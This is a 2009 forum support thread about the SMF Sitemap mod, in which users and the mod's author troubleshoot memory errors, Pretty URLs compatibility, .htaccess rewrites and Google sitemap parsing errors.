
e.

I already add this line ini_set("memory_limit","30M"); in  /Sources/PrettyUrls-Filters.php

The error log after a sitemap request is:
[Mon Mar 16 09:58:02 2009] [error] [client 00.000.00.000] PHP Fatal error:  Allowed memory size of 35651584 bytes exhausted (tried to allocate 64 bytes) in topcasinowagering.com/public_html/sharing-forums.com/Sources/PrettyUrls-Filters.php on line 28, referer: http://www.topcasinowagering.com/review/au-ruby-fortune-casino-australia/


Line 28 is $match = preg_replace(array('~^[\"\']|PHPSESSID=[^;]+|sesc=[^;]+~', '~\"~', '~;+|=;~', '~\?;~', '~\?$|;$|=$~'), array('', '%22', ';', '?', ''), $match);

Thank you
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 11:13:14 AM
Ok, try to raise it more:

ini_set("memory_limit","128M")

If it doesn't work, you should try to modify php.ini file (it's a general configuration file of PHP library, of your server).
It' is a memory issue, surely.

e.

Title: Re: Sitemap
Post by: RAN on March 16, 2009, 11:22:22 AM
Quote from: lennybruce71 on March 16, 2009, 11:13:14 AM
Ok, try to raise it more:

ini_set("memory_limit","128M")

If it doesn't work, you should try to modify php.ini file (it's a general configuration file of PHP library, of your server).
It' is a memory issue, surely.

e.



Hi,

Already try 1030M 130M... .xml takes a litle more to charge but give me always same error.

I have read in other site if I put this line on .htaccess maybe works: php_value memory_limit 24M

What do you think?
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 11:30:34 AM
uhm, interesting. It falls down in a LOOP on particular part of your page (urls).
The interested part is significant:   

$match = preg_replace(array('~^[\"\']|PHPSESSID=[^;]+|sesc=[^;]+~', '~\"~', '~;+|=;~', '~\?;~', '~\?$|;$|=$~'), array('', '%22', ';', '?', ''), $match);

It's one of more expensive function. Said that... I'm not able to help you more. :(
you should debug exactely this script in this part. Try to tell danniii this fact...

I'm sorry,
e.
Title: Re: Sitemap
Post by: RAN on March 16, 2009, 12:59:40 PM
Hi,

If I disable pretty url's it works ok...

Don't sorry, you try it ;)

Thank you very much for your help.
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 03:15:27 PM
Yes, in fact your log underlines that the issue is inside a pretty urls scripts!
/Sources/PrettyUrls-Filters.php

When it tries to change the urls, it falls in a dead loop.
You have to understand why it happens.
e.
Title: Re: Sitemap
Post by: RAN on March 16, 2009, 05:28:37 PM
Ok,

I already post on http://www.simplemachines.org/community/index.php?topic=146969.3260

I'm waiting an answer

Thank You
Title: Re: Sitemap
Post by: daveaite on March 18, 2009, 11:07:35 PM
Ok, I followed your changes lennybruce71, to the phpurls_filters. One problem though, the second part of the find and replace does not exist on my pretty urls.

"$context['pretty']['replace_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';"

Done. Not found in current doccument. wuh oh.
Title: Re: Sitemap
Post by: gourav on March 24, 2009, 07:15:29 AM
Hey i just installed Prety URL's and now i want to rebuild my sitemap.xml
according to new SEF urls rather topic=?? .. So can you please suggest me
that how can i flush the old sitemap and then how to creat a new map???

Thanks
Title: Re: Sitemap
Post by: SlammedDime on March 24, 2009, 01:36:22 PM
There is no flushing of anything, the sitemap is generated on the fly, it's not cached anywhere.  I can't really help without knowing your SMF version and sitemap version.
Title: Re: Sitemap
Post by: gourav on March 25, 2009, 03:01:44 AM
@SlammedDime Well i am using smf 2.0 RC1 with latest sitemap..

Here is link http://gstek.info/forum/index.php?action=sitemap
Title: Re: Sitemap
Post by: SlammedDime on March 25, 2009, 05:56:11 AM
Quote from: lennybruce71 on March 15, 2009, 12:56:33 PM
Ok, I did it.

This fix allow prettyurls mod (0.9.1) to work properly with Sitemap (2.0)
(http://custom.simplemachines.org/mods/index.php?mod=755). Now all
urls inside xml sitemap are seo.

You should change PrettyUrls-Filters.php in this way:

search line (#19):

$context['pretty']['search_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';

and replace with:

$context['pretty']['search_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=|<loc>)(\"[^\"#]+|\'[^\'#]+|[^<]+)~';

Again, search line(#38):

$context['pretty']['replace_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';

and replace with:

$context['pretty']['replace_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=|<loc>)(\"[^\"#]+|\'[^\'#]+|[^<]+)~';

Working demo: http://www.acufeniforum.net/sitemap.html
(With SMF 2.0 beta4, SiteMap 2.0, prettyurls 0.9.1)

my 2 cents.
e.
Title: Re: Sitemap
Post by: gigglemal on March 28, 2009, 05:47:28 PM
Hey slammedime, thanks for such an awesome mod  8)

Installed it today on 1.8, and had a few minor teething problems - which is probably down to myself. Is it okay to ask you to check through what I've done, as I want to add more mods (especially pretty URLS) but want to make sure I've done each mod correctly before moving onto the next?

I have a WP blog that's already indexed by google, and I installed SMF into a subfolder of it - gigglemal.com/forums.

I read about the .htaccess thing, so created a file and added it into the root. However, I then got a server 500 error when I tried to access my blog.

So, I deleted the pesky .htaccess, went back to webmaster tools and added the link to xml, which seemed to do the trick as Google have picked up 71 urls from my forum.

Now at this point I would like to indicate, in things like this, I'm like Homer Simpson - I can only take so much into my head before it pushes other stuff out  :P

Then I went back to webmaster tools, but on my main WP blog, and - now I'm not sure if I manually added the direct link again, or it just appeared - it listed both items (ie the blog domain, and the forum domain) each with URLs, so all seemed cool in the world then.

However, whilst I was adding a board to the forum, I got another server 500 error. Likewise, when I clicked on one of the pagelinks off the blog, I got godaddy error page. I looked on my FTP program and there was a .htaccess file in the \forums folder, which I deleted and all seemed okay with both blog and forum now. I'm guessing - I honestly did not notice it there before I copied across the edited .htaccess folder - that perhaps I moved it, or copied across, by accident.

So, my questions are....

1. As it stands, there is no .httaccess file in either folder, but google seems to have picked up the domain (and subfolder) on the blog webmaster tools page, and also the forum subfolder on the forum webmaster tools page.

As it stands, Google hasn't indexed anything from the forum, but I'm still adding new content and it's only a few hours ago it got googled, so I'm not too worried (yet)

So, is there still a need for .htaccess?

2. I really would like to add the pretty urls mod, once I've checked this .htaccess malarkey. Will I need to do anything special for it, or should it work straight after installing?

3. if I get pretty urls in okay, and it edits the links, will I need to re-submit my sitemap or just wait for google to do it's jiggery-pokery?

Thanks in anticipation for your support and advice, and for creating such a great mod. Thanks also for contributing to this thread, very informative but my heads about to explode like in that Scanners movie now  >:(
Title: Re: Sitemap
Post by: heinandar on March 29, 2009, 01:55:30 PM
Why google can't crawl into my forum's topics. When i search of some words of topic in google, google can't crawl. But google can search Topic name. Eg... if my topic name is" Google serach" , when i search in google, google can show this topic. But not for  content of this topic. I haven't robot.txt . I give permission to  guess.

I notice that in site map page. Topic did'nt work . Pls see in my attachment

Edit..Topic is working .
And this is wrong or true?
RewriteEngine on
   RewriteRule ^sitemap.xml$ /community/index.php?action=sitemap;xml

I change "forum" to community.
Because my forum is http://myforum.com/community
so i change
Title: Re: Sitemap
Post by: SlammedDime on March 29, 2009, 03:30:25 PM
Without having a real link to your site, it's kind of hard to tell whether or not it's working correctly.  And I will stress, yet again, this does not allow, force, grant, or otherwise entice google to index your site.  That is up to you by putting content worth indexing up.  This mod ONLY ONLY ONLY ONLY ONLY lets Google or other sites know about what exists on your site.  Nothing more, nothing less.

gigglemal -
1) If google has accepted your sitemap as valid without using the .htaccess trick, then you're fine, there's no need for it.  They may have changed their rules, as when I first made this mod they required any sitemap files to be in the site's root.
2) It should work okay with Pretty Urls.  The newest version of the mod has some issues, which I'm working on working out with Dannii
3)No need to resubmit, the sitemap is live, it is not cached, or only submitted once to google, google routinely checks it.
Title: Re: Sitemap
Post by: heinandar on March 29, 2009, 03:47:50 PM
Quote from: SlammedDime on March 29, 2009, 03:30:25 PM
Without having a real link to your site, it's kind of hard to tell whether or not it's working correctly.  And I will stress, yet again, this does not allow, force, grant, or otherwise entice google to index your site.  That is up to you by putting content worth indexing up.  This mod ONLY ONLY ONLY ONLY ONLY lets Google or other sites know about what exists on your site.  Nothing more, nothing less.



OK.. check this site
http://mmcybermedia.com/community
Title: Re: Sitemap
Post by: SlammedDime on March 29, 2009, 06:59:50 PM
The sitemap seems fine to me.  All you can do is wait.
Title: Re: Sitemap
Post by: gigglemal on March 30, 2009, 03:59:23 AM
Quotegigglemal -
1) If google has accepted your sitemap as valid without using the .htaccess trick, then you're fine, there's no need for it.  They may have changed their rules, as when I first made this mod they required any sitemap files to be in the site's root.
2) It should work okay with Pretty Urls.  The newest version of the mod has some issues, which I'm working on working out with Dannii
3)No need to resubmit, the sitemap is live, it is not cached, or only submitted once to google, google routinely checks it.

Cheers Slammeddime, star man you are - thanks for all your help.

PS. I think the problems I had with the 500, and the godaddy 404 pages were due to missing .htaccess file - think I deleted it when it didn't work. Had the same problems again this morning on the WP blog, seem to have sorted it out by changing permalinks back to default, then back again. At least I hope so (fingers crossed!).

Will keep an eye on the Google elves and see what happens.

Thanks again for the mod, and such excellent support  8)
Title: Re: Sitemap
Post by: gourav on April 02, 2009, 02:37:31 AM
Quote from: gourav on March 25, 2009, 03:01:44 AM
@SlammedDime Well i am using smf 2.0 RC1 with latest sitemap..

Here is link http://gstek.info/forum/index.php?action=sitemap
Hey what i about my question???
Sorry if i disturbed you but i want to have pretty urls in
SITEMAP
Title: Re: Sitemap
Post by: nukinfuts on April 02, 2009, 10:27:10 AM
im using 2.0RC1 and the package manager says that the package is not compatible....(yes im using the right package)
Title: Re: Sitemap
Post by: SlammedDime on April 02, 2009, 12:24:05 PM
gourav - I quoted a post right below your last post that has instructions from lennybruce on doing it.

nukinfuts - I don't really know what to tell you, I just tested it on my plane jane SMF 2.0RC1 install and it worked just fine.  All I can suggest is make sure Packages directory is writable and there is a temp folder inside of that that is also writable.
Title: Re: Sitemap
Post by: gourav on April 02, 2009, 01:05:15 PM
Quote from: SlammedDime on April 02, 2009, 12:24:05 PM
gourav - I quoted a post right below your last post that has instructions from lennybruce on doing it.


:) Yeppi Thanks alot dear :) IT WORKED

http://gstek.info/forum/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: nukinfuts on April 02, 2009, 04:57:49 PM
Quote from: SlammedDime on April 02, 2009, 12:24:05 PM
nukinfuts - I don't really know what to tell you, I just tested it on my plane jane SMF 2.0RC1 install and it worked just fine.  All I can suggest is make sure Packages directory is writable and there is a temp folder inside of that that is also writable.

I checked that. I also repacked it and tried again. I guess i'll just do it by hand....
Title: Re: Sitemap
Post by: nukinfuts on April 04, 2009, 06:26:51 PM
i installed it manually and it works, but google refuses to accept it. I added the .htaccess file and used http://www.ltr450hq.net/sitemap.xml in the submission, but it keeps spitting errors in my google CP.

"Invalid tag value
This XML tag has an invalid value. Please fix it and resubmit"
Title: Re: Sitemap
Post by: SlammedDime on April 04, 2009, 06:42:45 PM
Thats because 'Priority' is missing from all of the tags... it's not being populated properly.  Did you run add_settings.php after installing the mod manually?
Title: Re: Sitemap
Post by: nukinfuts on April 04, 2009, 07:07:39 PM
i thought i had. i ran it again, let me give the submission another shot.

thnx
Title: Re: Sitemap
Post by: nukinfuts on April 04, 2009, 07:14:09 PM
yahtzee, i must have not done that. oops lol. thanks again
Title: Re: Sitemap
Post by: Bec on April 05, 2009, 04:51:58 PM
Just wondering if it is possible to add things to the sitemap such as gallery, links, articles etc.... ??
Title: Re: Sitemap
Post by: SlammedDime on April 05, 2009, 05:10:17 PM
Not at this point.... I'm thinking I might introduce something like that once 2.0 goes final.
Title: Re: Sitemap
Post by: Bec on April 05, 2009, 05:17:02 PM
Great! Think it will add to it heaps! Thanks :)
Title: Re: Sitemap
Post by: chil on April 06, 2009, 04:45:52 AM
hello everyone, thanks much for great smf forum and for this great mod. i am happy as i can be, but i want to ask if is possible one thing. is possible to get the sitemap sorted by replies? i mean if i click at sitemap url, i see latest topics "?action=sitemap;start=0", but at the top are shown only new topics, not new posts. is there possibility to have posts with latest replies on top? thanks in advance for any reply and keep up the great work!
Title: Re: Sitemap
Post by: SlammedDime on April 06, 2009, 05:57:38 AM
That would require rewriting the SQL query to order by message id rather than the topic id...  but the sitemap isn't meant to be a 'recent topics' type of script.... reason being is that let's say google indexes one of your topic pages of the sitemap, then the next day one of those topics jumps to a different page.... now what google indexed isn't there, so it may confuse visitors that land on that page....
Title: Re: Sitemap
Post by: chil on April 06, 2009, 07:11:19 AM
thank you for reply. i like sitemap because there is also history on the bottom. i like the "bbs" style of it. so if it is something not hard to do, i mean that sql, can you please just point me to table so i can change it in mysql admin? or i will try to look around and try by myself, lets hope i will not kill my database ;) thanks again and keep up the great work!
Title: Re: Sitemap
Post by: SlammedDime on April 06, 2009, 05:35:16 PM
What version of the sitemap are you using?  Its done in two totally different ways between SMF 118 and 20rc1
Title: Re: Sitemap
Post by: chil on April 07, 2009, 12:10:46 AM
thank you much for your time, i am using sitemap "1.2.2" and smf version "1.1.7". thanks much again, its great to see people helping people! thumbs up! ;)
Title: Re: Sitemap
Post by: TDNY on April 07, 2009, 12:26:47 PM
Thanks for looking, hope you can help.
  I have version 1.1.8 default core. I have sitemap 1.2.2Whether I copy the link location at the bottom of the page, or the URL of the sitemap.php file in Cpanel or www.mysite/sitemap.xml I still get errors when I submit it to google, 404 general error file not found. Any help would be appreciated.
TD
My site is in my signature
Title: Re: Sitemap
Post by: TDNY on April 07, 2009, 01:54:01 PM
Finally got it, read thru a ton of pages here in support,  I submitted this here index.php?action=sitemap;xml as the url for my sitemap at google webmaster tools. They have a box with part of your web address already installed.
Good Luck

Sitemap Staus: OK
URL's Submitted: 87
Format: Sitemap
Last Downloaded: 5 mins ago
Details: No errors or warnings found

Thanks for the Mod!

TD
Title: Re: Sitemap
Post by: Invidia on April 08, 2009, 09:47:31 AM
hello,
i installed sitemap on my forum (SMF 2.00 RC1) and i want add this for google.

If I add link "www.example.com/?action=sitemap", google notify me about (? - my english  :) ) bad format mapsite. Ok, so i enter adress www.example.com/?action=sitemap.xml but i see home page, not sitemap. If i enter on www.example.com/?action=sitemap;xml i see bug:
Quote
Error parsing XML: XML or text declaration not at the top of the unit

<?xml version="1.0" encoding="UTF-8"?>
^

Do you understand me? So, what's the problem? What link sitemap i should enter on google panel?
Title: Re: Sitemap
Post by: SlammedDime on April 08, 2009, 03:47:55 PM
The problem is that you have some extra code at the top of your site, perhaps ad sense or some custom banner (I don't know, you didn't provide me with a link to your site).  Check your HTML source code and see what's at the top.  If it's not <?xml or <doctype, then you need to find the extraneous code and remove it.
Title: Re: Sitemap
Post by: floyd on April 10, 2009, 10:10:50 AM
I am told that there are errors.

Execute Modification     .Themes/default/index.template.php     Test failed

Any ideas.
I am NOT a programmer but can make simple changes as long as I know I am not going to screw things up.
Title: Re: Sitemap
Post by: SlammedDime on April 10, 2009, 01:05:19 PM
I need to know which version of SMF and which version of the sitemap you're trying to install
Title: Re: Sitemap
Post by: gourav on April 11, 2009, 05:16:46 AM
Please upload old version either here in thread or in Mod area..
Title: Re: Sitemap
Post by: SlammedDime on April 11, 2009, 11:23:41 AM
Um, why would I do that?
Title: Re: Sitemap
Post by: Özgür on April 14, 2009, 10:05:33 PM
My sitemap not showing <loc>
http://www.rockayseri.net/rk/sitemap.xml how can i fix ?
Title: Re: Sitemap
Post by: SlammedDime on April 15, 2009, 06:10:35 AM
Any errors in your error log?  Did you modify the sitemap to try and work with Pretty Urls?  How so?
Title: Re: Sitemap
Post by: Özgür on April 15, 2009, 12:36:59 PM
Quote from: SlammedDime on April 15, 2009, 06:10:35 AM
Any errors in your error log?  Did you modify the sitemap to try and work with Pretty Urls?  How so?
I'm not modify sitemap and no show any error message. Im using default sitemap, i try to replace sitemap.php and sitemap.template.php to original one but not work. Im enable and disable prettyurl again not work. Im confusing.
Title: Re: Sitemap
Post by: U1NO on April 15, 2009, 10:28:06 PM
Hello, I installed this mod before and had no problems, but now with version SMF 2 RC 1 I get this message when clicking modification tab:

Fatal error:Cannot redeclare modifysitemapsettings() (previously declared in /path/path/path/path/forum/Sources/ManageSettings.php:1986) in /path/path/path/path/forum/Sources/ManageSettings.php on line 2056

The mod still works fine when I put the url to sitemap on firefox, but that tab is not working fine. Hope you can fix it. Thank you
Title: Re: Sitemap
Post by: SlammedDime on April 15, 2009, 11:11:21 PM
The mod has been installed twice.  You'll have to go through and manually remove any duplicate code.
Title: Re: Sitemap
Post by: U1NO on April 16, 2009, 07:14:23 PM
Worked great, thanks you for your support :)
Title: Re: Sitemap
Post by: yameth on April 21, 2009, 07:40:51 AM
Thanks for a wonderful mod.
I installed it on my SMF 1.1.8, TP 0983, forum and it looks great, except that when I click XML, I get the following error :

XML Parsing Error: no element found
Location: http://www.noiz.gr/index.php?action=sitemap;xml
Line Number 1, Column 1:


which means (I suppose) that there is no such file.
The forum is located at the root so I didn't think there was a need for .htaccess file. Or is there?

Thanks for your patience.
Title: Re: Sitemap
Post by: SlammedDime on April 21, 2009, 03:27:04 PM
Try decreasing the number of topics to show in the sitemap XML file... default is 20000, try decreasing to 10000
Title: Re: Sitemap
Post by: yameth on April 22, 2009, 03:31:37 AM
Thank you very much! That did it. It works!

Does this mean that my server cannot handle the load for a 20000 topic XML sitemap?
Title: Re: Sitemap
Post by: SlammedDime on April 22, 2009, 05:58:23 AM
I think it might be a memory restriction.... are there any errors in your error log related to the xml sitemap?
Title: Re: Sitemap
Post by: nestortoledo on April 23, 2009, 11:01:15 AM
Hi, i hvave installed, in my forum, and it work fine. but have one big problema.

I use SJSB, Smf, Joomla bridge. and the ursl of my forum have this format.
index.php?option=com_smf&Itemid=54&board=13.0

The site map show this to google..
index.php?board=13.0

Ive made some changes to your code. in sitemap.php to work fine with the bridge
1º Replace all $scripturl to $my_joomla_url
2º Add     $my_joomla_url = 'http://www.clublgmobile.com/2009/index.php?option=com_smf';
3º Replace all ?board to &board and all ?topics to &topics.

The when i open http://www.clublgmobile.com/2009/SMF/index.php?action=sitemap;xml

get this error.

Error xml read: Bad formar
Ubicación: http://www.clublgmobile.com/2009/SMF/index.php?action=sitemap;xml
Número de línea 13, columna 71:      <loc>http://www.clublgmobile.com/2009/index.php?option=com_smf&board=45.0</loc>
------------------------------------------------------------------------------------^

If i use ?board and ?topic. it show all the site map. but the url dosent work. i need with &board and &topics.

How i can solve this problem?

Im not a php progamer. :-(

Thanks
Title: Re: Sitemap
Post by: SlammedDime on April 23, 2009, 11:14:41 AM
Might want to try &amp; instead of &

But something isn't correct with your bridge because it's not rewriting urls properly... might want to take it up with your bridge designer.
Title: Re: Sitemap
Post by: nestortoledo on April 23, 2009, 11:23:05 AM
Thanks a lot now it works fine.

Posible you can but a modified version ready to download to all bridge users?

Or if you allow me i can send the modified mod to sjsb developer.

Thanks
Title: Re: Sitemap
Post by: SlammedDime on April 23, 2009, 11:29:46 AM
2.0 uses SMF's built in functions for converting URLs, there is no reason why you should have had to make the changes above that you did, and if you visit your *normal* sitemap, you'll see that none of the board or topic links work.

This mod may not be redistributed outside of simplemachines.org or by anyone other than myself.
Title: Re: Sitemap
Post by: nestortoledo on April 23, 2009, 12:34:46 PM
ok.
I use SMF 2.0 RC1

You can see, the modified script, is now working with bridged links.
http://www.clublgmobile.com/sitemap.xml

If i use the non modified script, i get all sitemaps unbridged links.

thanks a lot. for your time and your work
Title: Re: Sitemap
Post by: SlammedDime on April 23, 2009, 01:47:34 PM
But go here: http://www.clublgmobile.com/2009/index.php?option=com_smf&Itemid=54&action=sitemap

404's on every link...
Title: Re: Sitemap
Post by: Low on April 23, 2009, 11:04:57 PM
Hi,

My forum is www.example.com but the sitemap states the url is www.example.com/index.php in both html and the xml version. How can I sort this?

Also, the priority of my boards is 8 but I think the topics/threads should be 6, how do I change this?

Thank you for a brilliant mod.

Low
Title: Re: Sitemap
Post by: SlammedDime on April 23, 2009, 11:52:52 PM
I need to know what version of the mod you're using...
Title: Re: Sitemap
Post by: nestortoledo on April 24, 2009, 06:23:10 AM
Thanks. i solved this with this changes, and now appear that work fine.

In sitemap.php
Added:     $my_joomla_url = 'http://www.clublgmobile.com/2009/';

Replaced: ?action=sitemap;xml to SMF/index.php?action=sitemap;xml
Replaced all  ?action   to index.php?option=com_smf&amp;action
Replaced all  ?board   to index.php?option=com_smf&amp;board
Replaced all  ?topic    to index.php?option=com_smf&amp;topic

Now have al html bridged, and the xml sitemap unbridged, and google accept it.

Also http://www.clublgmobile.com/2009/index.php?option=com_smf&action=sitemap&Itemid=54 is working now.

Thanks again

Title: Re: Sitemap
Post by: pcamateur on April 24, 2009, 09:01:22 AM
I've successfully installed the sitemap, but i'm getting a parsing error at the webmasters.

36    Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help Help
   Problem detected on:    Apr 24, 2009
Go to navigation Go to Sitemap details content

http://www.pcamateur.com/smf/index.php (http://www.pcamateur.com/smf/index.php)

thanks for the help...
Title: Re: Sitemap
Post by: Low on April 24, 2009, 10:05:36 AM
I'm using the mod pack for 1.1.7 & 1.1.8.

Thanks
Title: Re: Sitemap
Post by: SlammedDime on April 24, 2009, 10:37:20 AM
Quote from: pcamateur on April 24, 2009, 09:01:22 AM
I've successfully installed the sitemap, but i'm getting a parsing error at the webmasters.

36    Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help Help
   Problem detected on:    Apr 24, 2009
Go to navigation Go to Sitemap details content

http://www.pcamateur.com/smf/index.php (http://www.pcamateur.com/smf/index.php)

thanks for the help...
Your sitemap that you submit to google is located here: http://www.pcamateur.com/smf/index.php?action=sitemap;xml

Nothing appears to be wrong with it.

Low - The url is determined by the 'scripturl' variable in SMF.  having index.php is technically correct.  To remove that, you'd have to do so in QueryString.php.  As for the priority, line 198 in Sitemap.template.php will take care of that.
Title: Re: Sitemap
Post by: pcamateur on April 24, 2009, 10:48:08 PM
I tried changing the sitemap to non-SEF, and i get the same error:

Property Status
Sitemap type Web
Format Sitemap
Submitted 37 minutes ago
Last downloaded by Google 35 minutes ago
Status Errors
Total URLs in Sitemap 7
Indexed URLs in Sitemap Help   No data available. Please check back soon.

Sitemap errors and warnings
Line Status Details
48 Parsing error
We were unable to read your Sitemap. It may contain an entry we are unable to recognize. Please validate your Sitemap before resubmitting. Help   Problem detected on: Apr 24, 2009

*****************************************************
The funny thing is it knows correctly that there were 7 urls on the sitemap and it indicates parsing error at the end of the file: line 48

I tried saving the output of the sitemap generated to "sitemap.xml" and uploaded it onto the site.  IT IS WORKING WITHOUT ANY ERROR!!!
Title: Re: Sitemap
Post by: Low on April 25, 2009, 12:35:51 AM
Quote from: SlammedDime on April 24, 2009, 10:37:20 AM

Low - The url is determined by the 'scripturl' variable in SMF.  having index.php is technically correct.  To remove that, you'd have to do so in QueryString.php.  As for the priority, line 198 in Sitemap.template.php will take care of that.
By removing that from querystring.php will it remove the "index.php" from the sitemap?

Can doing this cause my forum to error in any way?

Thanks

-------- UPDATE --------

Done that and broke my forum lol, I don't want to change my forum in any way.. just change the first link in the XML sitemap from example.com/index.php to example.com.

Is there no way to edit the XML directly?

Thanks
Title: Re: Sitemap
Post by: Low on April 27, 2009, 09:07:45 AM
Also, I've noticed this mod does not update automatically when you add new topics, instead I have to delete and re-install for it to grab the new links correct?

Any help for this and the above problem is much appreciated.
Title: Re: Sitemap
Post by: sAce on April 27, 2009, 09:46:22 AM
@ pcamateur

dude the site is missing , u removed it or what ?

@ LOW

what difference does it make ? ( .com   ||  .com/index.php )
Title: Re: Sitemap
Post by: Low on April 27, 2009, 03:55:31 PM
Quote from: sbmcos on April 27, 2009, 09:46:22 AM

@ LOW

what difference does it make ? ( .com   ||  .com/index.php )
Due to Page Rank sharing I'd say about £200 a week for my clients :D
Title: Re: Sitemap
Post by: pcamateur on April 28, 2009, 09:36:09 AM
Quote from: sbmcos on April 27, 2009, 09:46:22 AM
@ pcamateur

dude the site is missing , u removed it or what ?

yeah, moved it from "smf" to "forum"

http://www.pcamateur.com/forum/index.php?action=sitemap;xml (http://www.pcamateur.com/forum/index.php?action=sitemap;xml)

the output of the above link was saved to "sitemap.xml" and uploaded to http://www.pcamateur.com/forum/sitemap.xml (http://www.pcamateur.com/forum/sitemap.xml) which is the one i currently use as it does not give any error at the webmasters
Title: Re: Sitemap
Post by: SlammedDime on April 28, 2009, 04:31:46 PM
Low - you can edit Sitemap.template.php in the XML template function

pcamateur - I'm sorry, I can't explain why it wouldn't work... the sitemap validates fine on every single validator I tried...
Title: Re: Sitemap
Post by: Low on April 28, 2009, 05:12:57 PM
Quote from: SlammedDime on April 28, 2009, 04:31:46 PM
Low - you can edit Sitemap.template.php in the XML template function
Thank, but I'm not very code savvy, I don't expect you to do it for me but IS there a way to have .com instead of .com/index.php show in the xml version?

Alas I need a sitemap that can be updated and edited.
Title: Re: Sitemap
Post by: SlammedDime on April 28, 2009, 07:56:44 PM
Quote from: Low on April 28, 2009, 05:12:57 PM
Quote from: SlammedDime on April 28, 2009, 04:31:46 PM
Low - you can edit Sitemap.template.php in the XML template function
Thank, but I'm not very code savvy, I don't expect you to do it for me but IS there a way to have .com instead of .com/index.php show in the xml version?

Alas I need a sitemap that can be updated and edited.

In Sitemap.template.php, in the XML Template
<loc>', sefReltoAbs($myurl), '</loc>


Replace that with <loc>yoururl</loc>
Title: Re: Sitemap
Post by: pcamateur on April 28, 2009, 09:43:49 PM
Quote from: SlammedDime on April 28, 2009, 04:31:46 PM
pcamateur - I'm sorry, I can't explain why it wouldn't work... the sitemap validates fine on every single validator I tried...

It could be server-related problem, with the server returning a wrong file read status code.  I'll test it on another webhosting site when I got a chance.

Is there a way of simply dumping the output of "index.php?action=sitemap;xml" to a file named "sitemap.xml" on the server?

The work-around of saving the output to "sitemap.xml" and uploading it to the server works, but kinda strenuous.

Thanks for the help.



Title: Re: Sitemap
Post by: hartiberlin on April 29, 2009, 10:11:21 AM
Hi SlammedDime,
could you please include in future versions
the
SINGLE PAGES
from the
www.PortaMX.com portal feature ?

This is a nice way to design HTML Pages with
articles and if they don´t show up in the
Sitemap, that would be pretty bad for Google to
find them.

It is a really cool feature of the PortaMX.com Portal.

They are indexed like this:

www.yoursite.com/index.php?pagename


So I really wish you could include them in the Sitemap.

Many thanks in advance.

Regards, Stefan.
Title: Re: Sitemap
Post by: SlammedDime on April 29, 2009, 03:51:03 PM
I probably won't include functionality for specific portals, but I probably *will* include a way for users to include and add custom entries to the XML sitemap.  I may do that once 2.0 goes final.
Title: Re: Sitemap
Post by: hartiberlin on April 29, 2009, 04:48:56 PM
Okay, would be nice, if you could include it easily, so ALL
single pages of PortaMX.com could be included in ONE GO.

So maybe just do it this way:

www.yoursite.com/index.php?p*

for all pages, that begin with the letter "p"

Imagine having to include every single page, if one would have 3000
single pages.. :o

Many thanks in advance.
Title: Re: Sitemap
Post by: cooloolo on April 30, 2009, 07:28:26 AM
Hello there, I installed the sitemapmod 1.2.2 with smf1.1.8 via the package manager. a long time this mod works fine without bugs and since today night the xmlsitemap shows me an error, you can see on this link below:

http://wolfswinkel-freiburg.de/wolfswinkel/smf/index.php?action=sitemap;xml

is this a bug and anybody knows a solution for this bug?

thanks for helping!

greetings
Title: Re: Sitemap
Post by: SlammedDime on April 30, 2009, 12:53:46 PM
It's not a bug, it's some code that either you, or someone else as put on your site. If you look at the source code you'll see the extra code that shouldn't be there.

You'll have to look through your PHP files to see where it may have come from, I can't really help much there.
Title: Re: Sitemap
Post by: Danpotter on April 30, 2009, 02:38:27 PM
how to make sitemap working on URBAN theme [smf 1.1.8]
Title: Re: Sitemap
Post by: cooloolo on May 01, 2009, 02:44:48 AM
I found out that my sitmap d´ont work within the www. in my url. If I use the sitemapurl without www. it works fine.

I get this error message with www. like this:
http://www.wolfswinkel-freiburg.de/wolfswinkel/smf/index.php?action=sitemap;xml

Working fine like this:
http://wolfswinkel-freiburg.de/wolfswinkel/smf/index.php?action=sitemap;xml

Do you know what does it mean and what I have to do?

edit: oh no, now nothing of both is working...  :(
Title: Re: Sitemap
Post by: helpdivya on May 06, 2009, 03:27:42 PM
I submitted this in 2.0 RC1 support baord but they ask me to ask the Sitemap mpd team help .
So I am postin it here to get some help.
--------------------------------------------------------------------------------------------------------------------------
I have submitted my sitemap.xml to google webmaster tool and I see following error message -

When we tested a sample of URLs from your Sitemap, we found that some URLs redirect to other locations. We recommend that your Sitemap contain URLs that point to the final destination (the redirect target) instead of redirecting to another URL. Help HTTP Error: URL: Problem detected on: 301 (Moved ...

Does it mean that the URL in sitemap are not visited by google?

I am using pretty URL and Sitemap mod. The thing that I found in sitemap.xml is that URL in sitemap.xml is not having pretty URL instead it has OOB SMF forum URL.

You can check my sitemap.xml here http://ekhichdi.com/index.php?action=sitemap;xml  and sitemap here http://ekhichdi.com/sitemap

Please suggest what I need to do to get rid of the error message in GOOGLE webmaster tool.
Title: Re: Sitemap
Post by: malcomxar on May 06, 2009, 08:01:18 PM
Hi, this mod started all of the sudden sending me an error when i try to see the xml version

Error is

QuoteError de parseo XML: no se encontraron elementos
Lugar: http://www.gptlatino.net/foro/sitemap/?xml
Línea 1, Columna 1:
^

My site: http://www.gptlatino.net/foro
SMF: 1.1.8 with TP 1.0
Mods:
1.     Pretty URLs      0.9.1
2.    Ad Managment    
3.    Treasury    2.34    
4.    Display Signatures Only Once Per Page    1.2
5.    Separate Sticky and Normal Topic    1.0
6.    AJAX Instant Quick Reply    1.0.2    
7.    Referrals Mod    2.0.1    
8.    SMF Sitemap

It happened all of the sudden, because the sitemap was working properly for a long time and i haven't installed new mods for a while

Any ideas??
Title: Re: Sitemap
Post by: SlammedDime on May 07, 2009, 12:07:44 PM
Try reducing the number of topics down to 7000 to be displayed...
Title: Re: Sitemap
